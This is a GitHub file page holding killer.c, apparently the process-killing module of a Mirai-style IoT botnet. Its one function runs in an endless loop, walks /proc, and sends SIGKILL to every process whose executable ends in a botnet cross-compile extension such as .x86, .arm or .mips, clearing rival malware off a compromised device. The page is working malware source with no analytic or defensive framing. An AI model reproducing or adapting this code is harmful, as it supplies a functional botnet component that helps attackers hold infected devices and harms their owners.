-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkiller.c
More file actions
62 lines (53 loc) · 1.76 KB
/
killer.c
File metadata and controls
62 lines (53 loc) · 1.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <linux/limits.h>
#include <sys/types.h>
#include <dirent.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <ctype.h>
void killer_exe(void) {
const char *extensions[] = {".x86", ".x86_64", ".arm", ".arm5", ".arm6", ".arm7", ".mips", ".mipsel", ".sh4", ".ppc"};
const int num_extensions = sizeof(extensions) / sizeof(extensions[0]);
while (1) {
DIR *dir = opendir("/proc");
struct dirent *entry;
if (dir == NULL) {
return;
}
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_DIR) {
int pid = atoi(entry->d_name);
if (pid != 0) {
char exe_path[1024];
snprintf(exe_path, sizeof(exe_path), "/proc/%d/exe", pid);
char target_path[1024];
ssize_t target_len = readlink(exe_path, target_path, sizeof(target_path) - 1);
if (target_len != -1) {
target_path[target_len] = '\0';
const char *extension = strrchr(target_path, '.');
if (extension != NULL) {
for (int i = 0; i < num_extensions; i++) {
if (strcmp(extension, extensions[i]) == 0) {
kill(pid, SIGKILL);
break;
}
}
}
}
}
}
}
closedir(dir);
sleep(5);
}
}
void killer_init() {
killer_exe();
}